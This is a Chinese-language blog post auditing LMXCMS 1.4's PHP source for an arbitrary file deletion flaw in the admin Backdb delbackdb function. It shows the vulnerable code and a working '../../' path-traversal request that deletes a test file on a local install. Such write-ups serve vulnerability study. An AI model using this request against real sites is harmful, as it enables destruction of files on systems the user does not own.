php代码审计-文件安全(1)

php代码审计

cnvd梦想cms文件删除漏洞

img

漏洞描述中说的是Ba*** 存在任意文件删除漏洞

img

在源码中可以看到在后台中只存在两个ba开头的文件,那漏洞就一定存在于其中之一了

img

我的思路是直接搜一波删除,在备注中发现back****文件中删除的功能较多,优先审计这边

这边先给出php中删除的函数

在 PHP 中,删除文件的函数主要有以下几种:

1.unlink() 函数:使用 unlink() 函数可以删除指定路径下的文件。例如:

1
2
3
4
5
6
$file = '/path/to/file.txt';
if (!unlink($file)) {
echo "Error deleting $file";
} else {
echo "$file deleted";
}

2.rmdir() 函数:使用 rmdir() 函数可以删除指定路径下的空目录。例如:

1
2
3
4
5
6
$dir = '/path/to/empty/dir';
if (!rmdir($dir)) {
echo "Error deleting $dir";
} else {
echo "$dir deleted";
}

3.unlink() 和 rmdir() 的结合使用:如果要删除非空目录,则需要先递归地删除目录中的所有文件和子目录,然后再删除该目录本身。可以使用 unlink() 和 rmdir() 的结合使用来实现这个功能。例如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
function deleteDirectory($dir) {
if (!file_exists($dir)) {
return true;
}

if (!is_dir($dir)) {
return unlink($dir);
}

foreach (scandir($dir) as $item) {
if ($item == '.' || $item == '..') {
continue;
}

if (!deleteDirectory($dir . DIRECTORY_SEPARATOR . $item)) {
return false;
}
}

return rmdir($dir);
}

img

搜索了一下,发现有四处存在unlink函数,上面三个函数都太大了,先从小的开始分析一波

1
2
3
4
private function delOne($filename){
$dir = ROOT_PATH.'file/back/'.$filename;
file::unLink($dir);
}

这段代码看起来是一个 PHP 类中的私有方法,用于删除指定文件名 $filename 所代表的文件。

具体来说,这个方法首先使用 ROOT_PATH 常量拼接出要删除的文件的完整路径,即 ROOT_PATH.’file/back/‘.$filename。然后,使用 file::unLink() 静态方法,调用 PHP 内置的 unlink() 函数来删除该文件。

该函数名为delOne,在本文件中查找那些地方调用了该函数

img

我们先来看第一个delbackdb函数

1
2
3
4
5
6
7
8
9
public function delbackdb(){
$filename = trim($_GET['filename']);
if(!$filename){
rewrite::js_back('备份文件不存在');
}
$this->delOne($filename);
addlog('删除数据库备份文件');
rewrite::succ('删除成功');
}

这段代码看起来是一个 PHP 类中的公有方法,用于删除指定的数据库备份文件。

具体来说,这个方法首先通过 trim() 函数去掉 $_GET[‘filename’] 变量中的空格和换行符等不必要的字符,并将处理结果存储到 $filename 变量中。然后,判断 $filename 变量是否为空,如果为空,则使用 rewrite::js_back() 方法返回一个错误提示信息。

如果 $filename 变量不为空,则调用 $this->delOne($filename) 方法来删除该文件。删除完成后,使用 addlog() 方法记录一条日志,表示成功删除了数据库备份文件;然后使用 rewrite::succ() 方法显示一个成功提示信息。

那这里就很明确了,delbackdb函数中会调用delOne删除掉指定的文件,而delOne函数中

$dir = ROOT_PATH.’file/back/‘.$filename;

受制于file/back的限制,只能删除该文件夹下面的文件,那该如何绕过呢?当然是../../啦

ok分析完毕,来尝试一波

先找到删除备份文件的功能点正常删除一波找到删除的数据包

是下面这种形式的,看这些传递的参数也非常熟悉

http://127.0.0.1:8081/lmxcms1.4/admin.php?m=Backdb&a=delbackdb&filename=xxxxx.txt

这里我在other下新建一个1.txt文件我们来看一下能不能删掉

image-20230723094946209

http://127.0.0.1:8081/lmxcms1.4/admin.php?m=Backdb&a=delbackdb&filename=../../other/1.txt

img

再回来看,1.txt已经被删除了

img

到此这个1day就审计结束了


php代码审计-文件安全(1)
https://zzhnohikari.github.io/2023/07/22/php代码审计-文件安全/
作者
John Doe
发布于
2023年7月22日
许可协议